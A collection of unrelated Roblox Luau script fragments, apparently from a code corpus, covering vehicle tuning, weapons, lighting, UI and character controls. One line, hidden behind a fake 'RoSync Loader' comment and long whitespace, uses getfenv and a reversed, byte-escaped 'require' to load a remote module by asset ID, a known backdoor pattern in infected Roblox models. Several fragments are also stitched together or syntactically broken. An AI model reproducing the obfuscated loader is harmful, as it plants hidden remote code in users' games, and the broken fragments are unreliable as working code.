Roblox/luau_corpus huggingface dataset:
-- SETTINGS ----------------------------------------------------
local hasFire = true; -- Exhaust has fire?
local hasSmoke = true; -- Exhaust has smoke?
local lightColor_on = BrickColor.new("Institutional white")
local lightColor_off = headlights[1].BrickColor -- Grab your existing color (recommended)
local brakeColor_on = BrickColor.new("Really red")
local brakeColor_off = BrickColor.new("Reddish brown")
local tiltForce = 1000; -- Force to flip over vehicle
--rayPart					= Instance.new("Part")
--rayPart.Name			= "MG Ray"
--rayPart.Transparency	= .5
--rayPart.Anchored		= true
--rayPart.CanCollide		= false
--rayPart.TopSurface		= Enum.SurfaceType.Smooth
--rayPart.BottomSurface	= Enum.SurfaceType.Smooth
--rayPart.formFactor		= Enum.FormFactor.Custom
--rayPart.BrickColor		= BrickColor.new("Bright yellow")
--rayPart.Reflectance		= 0
--rayPart.Material = Enum.Material.SmoothPlastic

function fireCoax()
	local MGAmmo = tankStats.MGAmmo;
	if MGAmmo.Value <= 0 then
		return false;
	end;
	
	TFE:FireServer('FireMinigun',parts,tankStats,MGDamage,script.Parent)
	
	wait(1/1200*60);
	
	parts.Parent.Gun.MGFlash.Fire.Enabled = true
    wait(0.05);
    parts.Parent.Gun.MGFlash.Fire.Enabled = false
	
	return true;
end
-- Setup animation objects
function scriptChildModified(child: Instance)
	local fileList = animNames[child.Name]
	if fileList ~= nil then
		configureAnimationSet(child.Name, fileList)
	end
end

script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Skips *n* objects in the table, and returns a new table that contains indices (n + 1) to (end of table)
Table.skip = function (tbl, n)
	return table.move(tbl, n+1, #tbl, 1, table.create(#tbl-n))
end
--[=[
	Sets a metatable on a table such that it errors when
	indexing a nil value

	@param target table -- Table to error on indexing
	@return table -- The same table, with the metatable set to readonly
]=]
function Table.readonly(target)
	return setmetatable(target, READ_ONLY_METATABLE)
end
------------- Settings

local Lighting = game.Lighting
local TweenService = game:GetService("TweenService")

function day()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 12}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 3.05}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(106, 130, 186)}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()
end

function night()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ClockTime = 0}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Brightness = 0.4}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {Ambient = Color3.fromRGB(0,0,0)}):Play()
	TweenService:Create(Lighting, TweenInfo.new(Speed), {ColorShift_Bottom = Color3.fromRGB(0,0,0)}):Play()
end

while true do
	day()
	wait
	night()
	wait
end
-- Modules
local ModuleScripts = ReplicatedStorage.ModuleScripts
local GameSettings = require(ModuleScripts:WaitForChild("GameSettings"))
local PlayerManagement = ServerScriptService.PlayerManagement
local PlayerManagementModules = PlayerManagement.ModuleScripts
local ParticleController = require(PlayerManagementModules.ParticleController)
local Data = ServerScriptService.Data
local DataStore = require(Data.Modules.DataStore)
local UpgradeManager = require(Data.Modules.UpgradeManager)
--Click to Equip Script
--Unless you know what you're doing, do not modify this script.
local tool = script.Parent.Parent --This indicates the tool for the handle.
script.Parent.Parent = tool.Parent --This removes the "Touch to Equip" function for the handle.
script.Parent.ClickDetector.MouseClick:Connect(function(plr) --This detects a click on the handle.
	local character = plr.Character --This identifies the player's character.
	local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid".
	if humanoid ~= nil then --This ensures that "Humanoid" exists inside the player's character.
		tool.Parent = character --This causes the character to equip the tool.
		script.Parent.Parent = tool --This puts the handle inside the tool.
		tool.AncestryChanged:Connect(function(item) --This detects a change in the tool's ancestry.
			local parent = item.Parent --This identifies the parent of the tool.
			if parent.Name ~= "Backpack" and parent ~= character and script.Parent.Parent == tool then
				--The code above ensures the parent isn't the player's backpack or character, and the handle is inside the tool.
				script.Parent.Parent = tool.Parent --This ensures that "Touch to Equip" is disabled.
			end
		end)
	end
end)
-- On Startup
-- Tell the server we've entered the game
PlayerEnteredGame:FireServer()
--[[
for i = 1, 5 do 
IN.Belly.Mesh.Scale  = IN.Belly.Mesh.Scale - Vector3.new(.1, .1, .1) 
wait(.1) 
end 
]]--
-- Catch any FX unloaded descendants
fxFolder.DescendantAdded:Connect(function(instance)
	configureVisualEffect(instance, adPortal.Status == Enum.AdUnitStatus.Active)
end)
-- << SETUP >>
main:GetModule("PageAbout"):UpdateRankName()
main:GetModule("PageAbout"):UpdateProfileIcon()
main:GetModule("PageAbout"):CreateUpdates()
main:GetModule("PageAbout"):UpdateContributors()
main:GetModule("PageAbout"):CreateCredits()
main:GetModule("PageCommands"):CreateCommands()
main:GetModule("PageCommands"):CreateMorphs()
main:GetModule("PageCommands"):CreateDetails()
main:GetModule("PageSpecial"):SetupDonorCommands()
main:GetModule("PageAdmin"):SetupRanks()
main:GetModule("GUIs"):DisplayPagesAccordingToRank()
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Bone nuke" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[
	Utilities involving signals
	@class SignalUtils
]=]

local SignalUtils = {}
--[[ Last synced 8/15/2021 08:04                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-------------------------------------Gun info
ToolName="Revolver"
ClipSize=6
ReloadTime=1
Firerate=.2
MinSpread=0.000001
MaxSpread=0.00001
SpreadRate=0
BaseDamage=25
automatic=false
burst=false
shot=false			--Shotgun
BarrlePos=Vector3.new(0,0,0)
Cursors={"rbxasset://textures\\GunCursor.png"}
ReloadCursor="rbxasset://textures\\GunWaitCursor.png"
-- this will need to be worked into a client schema later
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local Players = game:GetService("Players")

local taggedButtons = CollectionService:GetTagged("LightupButton")

local buttons = {}
local characters = {}

for _, button in pairs(taggedButtons) do
	buttons[button] = {
		active = false
	}
end


local function onPlayerAdded(player)
	player.CharacterAdded:Connect(function(character)
		repeat task.wait(.2) until character and character.PrimaryPart and character.Humanoid

		characters[player] = character
	end)
	player.CharacterRemoving:Connect(function(character)
		characters[player] = nil
	end)
end

Players.PlayerAdded:Connect(onPlayerAdded)

for _, player in pairs(Players:GetChildren()) do
	onPlayerAdded(player)
end


while true do
	local taggedButtons = CollectionService:GetTagged("LightupButton")

	for _, button in pairs(taggedButtons) do
		if buttons[button] == nil then
			buttons[button] = {
				active = false
			}
		end
	end
	
	for _, button in pairs(buttons) do
		button.active = false
	end
	
	for player, character in pairs(characters) do
		if character and character.PrimaryPart and character.Humanoid then
			local raycastParams = RaycastParams.new()
			raycastParams.FilterDescendantsInstances = taggedButtons
			raycastParams.FilterType = Enum.RaycastFilterType.Whitelist
			local raycastResult = workspace:Raycast(character.PrimaryPart.Position, Vector3.new(0, -6, 0), raycastParams)
			
			if raycastResult and raycastResult.Instance then
				if buttons[raycastResult.Instance] then
					buttons[raycastResult.Instance].active = true
				end
			end
		end
	end
	
	task.wait()
	
	for instance, button in pairs(buttons) do
		if button.active then
			instance.Material = Enum.Material.Neon
		else
			instance.Material = Enum.Material.Plastic
		end
	end
end
--	print("filter.Value=",filter.Value)
end
 
me.Activated:Connect(onButtonActivated)
-- Making a CFrame value from an origin position and unit direction:
function Util.makeOrientation(sourcePos, dir)
    -- Construct CFrame to rotate parts from x-axis alignment (where they are constructed) to
    -- the world orientation of the arc from a quaternion rotation that describes the
    -- rotation of ux-->axis
    dir = dir.unit

    -- Proportionate angle between ux and direction:
    local angleUxAxis = dot(ux, dir)

    if (angleUxAxis > 0.99999) then
        return cframe(sourcePos, sourcePos - uz)
    elseif (angleUxAxis < -0.99999) then
        return cframe(sourcePos, sourcePos + uz)
    else
        local q = cross(ux, dir)
        local qw = 1 + angleUxAxis
        local qnorm = sqrt(q.magnitude ^ 2 + qw * qw)
        q = q / qnorm
        qw = qw / qnorm
        return cframe(sourcePos.x, sourcePos.y, sourcePos.z, q.x, q.y, q.z, qw)
    end
end

return Util
--Keybinds & Main Lean Script
UIS.InputBegan:Connect(function(key, isTyping)
	if key.KeyCode == Enum.KeyCode.E then
		tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(2,0,0)}):Play()
	end
	if key.KeyCode == Enum.KeyCode.Q then
		tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(-2,0,0)}):Play()
	end
	
end)

UIS.InputEnded:Connect(function(key)
	if key.KeyCode == Enum.KeyCode.E or key.KeyCode == Enum.KeyCode.Q then
		tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(0,0,0)}):Play()
	end
end)
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.R					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.LeftShift					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
--script.Parent.II.Velocity = script.Parent.II.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.III.Velocity = script.Parent.III.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.IIII.Velocity = script.Parent.IIII.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.J.Velocity = script.Parent.J.CFrame.lookVector *script.Parent.Speed.Value
-- Initialize the tool
local TextureTool = {

	Name = 'Texture Tool';
	Color = BrickColor.new 'Bright violet';

	-- Default options
	Type = 'Decal';
	Face = Enum.NormalId.Front;

};
-- Services
local playerService = game:GetService("Players")

playerService.PlayerAdded:Connect(function (plr)
	plr.CharacterAdded:Connect(function (char) 
		local humanoid = char:WaitForChild("Humanoid")
		humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
	end)
end)
--		debug.profilebegin("AI Offload Loop")
		local activate, deactivate = {}, {}
		local num = 0 
		for _,critter in next,workspace.Critters:GetChildren() do
			num = num + 1
			if critter.PrimaryPart and character and character.PrimaryPart then
				local distance = (character.PrimaryPart.Position - critter.PrimaryPart.Position).magnitude
				
				if distance < ACTIVATE_AI_RANGE then
					table.insert(activate, critter)
				else
					table.insert(deactivate, critter)
				end
			end
			
			if num % 10 == 0 then
				RS.Heartbeat:Wait()
			end
		end
		Rep.Relay.AI.AIUpdated:FireServer(activate, deactivate)
		elapsed = 0
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9999		-- Spring Force
	Tune.FSusLength		= 1.5			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .6		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .5		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9999		-- Spring Force
	Tune.RSusLength		= 1.5			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .6		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .5		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
-- Run the chasePlayer function continuously
game:GetService("RunService").Heartbeat:Connect(chasePlayer)
----------//Events\\----------
Evt.Refil.OnClientEvent:Connect(function(Tool, Infinite, Stored)

	local data = require(Tool.ACS_Settings)
	local NewStored = math.min(data.MaxStoredAmmo - StoredAmmo, Stored.Value) 

	StoredAmmo = StoredAmmo + NewStored
	data.StoredAmmo = StoredAmmo

	UpdateGui()

	if not Infinite then
		Evt.Refil:FireServer(Stored, NewStored)
	end

end)
-- @Description Check if a certain %Object is inside a %Table
-- @Arg1 Table
-- @Arg2 Object
function Basic.IsInTable(tbl, obj)
	for _,v in pairs(tbl) do
		if v == obj then
			return v
		end
	end
end
--[[
	PLACE THIS MODEL IN WORKSAPCE
	RUN THE CODE BELOW IN THE COMMAND LINE
	
	Subscribe to whokwabi or leave a like on the video and model if this helped you!
	You can delete this model after you are done!
]]

local x = workspace.ChatModel.ClientChatModules:Clone()
x.Parent = game.Chat
-- Shows initial value if anything is currently in the CurrencyToCollect


script.Parent.Parent.Parent.Parent.Parent.Parent.CurrencyToCollect.Changed:connect(function(money)
	script.Parent.Text = "$"..money
end)
--[[
	local p: TextBox

	p.InputBegan
	p.InputChanged
	p.InputEnded
	p.FocusLost
	p.Focused
	p.MouseEnter
	p.MouseLeave
	p:CaptureFocus()
	p:ReleaseFocus()
	p:IsFocused()
]]

return class
--[[
	updates the the player info based on the ticks
--]]
RunService.Heartbeat:Connect(function(step)
	current_tick += 1
	if current_tick % ticks == 0 then
		Network:update_player_chunkdata()		
		total_updates += 1
	end
	if current_tick == chunk_ticks then
		Network:update_chunkdata()
		current_tick = 0
	end
end)
--Configuration--
screen = car.Body.Display.BMWDisplay.Display --screen location kek
chassisversion = "Cat" --for chassisversion ('Tyler' for Itzt's AC6 or 'Cat' for Cat's AC6 version)
sound = car.Body.MP.Sound
--------END CREW--------

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--SKP_13.Brightness = 0

SKP_12.Saturation = 0

SKP_12.Contrast = 0

SKP_14.Size = 0

SKP_12.Saturation = 0

SKP_12.Contrast = 0

SKP_15.Variaveis.Dor.Value = 0

if SKP_19 == true then
	 Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play()
	end	
end)


local SKP_25 = script.Parent.Parent.Humanoid
local SKP_26 = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys.Collapse

function onChanged()
SKP_26:FireServer()
if (SKP_17.Value <= 3500) or (SKP_18.Value >= 200)  or (SKP_16.Value == true) then
	SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
	SKP_25:UnequipTools()
elseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and (SKP_16.Value == false) and SKP_15.Stances.Rendido.Value == false then -- YAY A MEDIC ARRIVED! =D
	SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)	
end
end

onChanged()

SKP_17.Changed:Connect(onChanged)
SKP_18.Changed:Connect(onChanged)
SKP_16.Changed:Connect(onChanged)

SKP_15.Stances.Rendido.Changed:Connect(function(Valor)
if Valor == true then
SKP_25:UnequipTools()
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
else
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
end
end)

local RS = game:GetService("RunService")
RS.RenderStepped:connect(function(Update)
	if Morto then

		SKP_2.Character:FindFirstChild("Right Arm").LocalTransparencyModifier = 0

		SKP_2.Character:FindFirstChild("Left Arm").LocalTransparencyModifier = 0
		
		SKP_2.Character:FindFirstChild("Right Leg").LocalTransparencyModifier = 0

		SKP_2.Character:FindFirstChild("Left Leg").LocalTransparencyModifier = 0

		SKP_2.Character:FindFirstChild("Torso").LocalTransparencyModifier = 0	
		
		game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
		game.Workspace.CurrentCamera.CFrame = SKP_15.Parent:WaitForChild('Head').CFrame
	end
end)

while true do
		SKP_10:Create(SKP_14,TweenInfo.new(3,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Size = 0}):Play()
		wait(3)
		SKP_10:Create(SKP_14,TweenInfo.new(2,Enum.EasingStyle.Elastic,Enum.EasingDirection.InOut,0,false,0),{Size = (SKP_15.Variaveis.Dor.Value/SKP_15.Variaveis.Dor.MaxValue) * 25}):Play()
		wait(3)
	end
-- Définissez la vitesse de marche initiale du joueur local sur 0
player.Character:WaitForChild("Humanoid").WalkSpeed = 0
-- This parameter determines how long the effects heartbeat loop keeps running after the driver exits
local EFFECTS_GRACE_PERIOD = 0.5
-- @outline // PUBLIC METHODS
function Controller:Update(dt)
	local Character = System.LocalPlayer and System.LocalPlayer.Character
	if not Character then return end
	
	local Humanoid : Humanoid = Character.Humanoid
	
	if self.ListenForInput then
		if System.Control.InputMethod == Enum.UserInputType.Gamepad1 then
			self.MoveDirection = System.Control.ThumbstickDirection1
		else
			self.MoveDirection = Vector2.new(self.Inputs.S - self.Inputs.W, self.Inputs.A - self.Inputs.D)
		end
	end
	
	if self.MoveDirection == Vector2.zero then
		if self.ForceMove ~= 0 then
			local MousePos = System.Aim.MousePos
			if not MousePos then return end
			
			local StartPos = Vector2.new(Character.HumanoidRootPart.Position.X, Character.HumanoidRootPart.Position.Z)
			self.MoveDirection = (MousePos - StartPos).Unit
			
			self:ApplyMove(self.MoveDirection, dt, Humanoid)
		else
			self:ApplyMove(Vector2.zero, dt, Humanoid)
		end
		return
	end
	
	self:CalculateRelativeMoveDirection()
	self:ApplyMove(self.MoveDirection, dt, Humanoid)
end

function Controller:CalculateRelativeMoveDirection()
	self.MoveDirection = self.MoveDirection.Unit

	local cos = math.cos(math.rad(System.Camera.Angle))
	local sin = math.sin(math.rad(System.Camera.Angle))
	self.MoveDirection = Vector2.new(self.MoveDirection.X * cos - self.MoveDirection.Y * sin, self.MoveDirection.X * sin + self.MoveDirection.Y * cos)
end

function Controller:ApplyMove(NewMoveDirection, dt, Humanoid)
	self.CachedDirection = System.Interpolate.Linear(self.CachedDirection or Vector2.new(), NewMoveDirection, math.clamp(dt/self.SmoothTime, 0, 1))
	self.FinalDirection = Vector3.new(self.CachedDirection.X, 0, self.CachedDirection.Y) * (self.ForceMove ~= 0 and self.ForceMove or 1)
	
	Humanoid:Move(self.FinalDirection)
end
----------------------------------------------------------------
while wait() do 
if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then 
 Lag = math.random(1,40)
end
if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then 
 Lag2 = math.random(1,40)
if Lag == Lag2 and _Tune.MisFire == false  then 
Tlag = true 
script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer 
wait (1)
Tlag = false
script.Parent.Values.TLA.Value = DefaultTurboLag
elseif Lag == Lag2 and _Tune.MisFire == true and RllyLag == true  then 
Tlag = true 
script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer 
car.Body.Exhaust.E1.Afterburn.Rate = 100
car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(2)
car.Body.Exhaust.E1.L.Range = 9
wait (0.5)
Tlag = false
script.Parent.Values.TLA.Value = DefaultTurboLag - Reducer 
wait (0.5)
script.Parent.Values.TLA.Value = Missfireboost
wait (1)
script.Parent.Values.TLA.Value = DefaultTurboLag
car.Body.Exhaust.E1.Afterburn.Rate = 0
car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(0.5)
car.Body.Exhaust.E1.L.Range = 0 
wait (1)
RllyLag = false 
wait (Missfireboostwait)
RllyLag = true 
end
end
end
--[=[
	Destroys the Streamable. Any observers will be disconnected,
	which also means that troves within observers will be cleaned
	up. This should be called when a streamable is no longer needed.
]=]
function Streamable:Destroy()
	self._trove:Destroy()
end

export type Streamable = typeof(Streamable.new(workspace, "X"))

return Streamable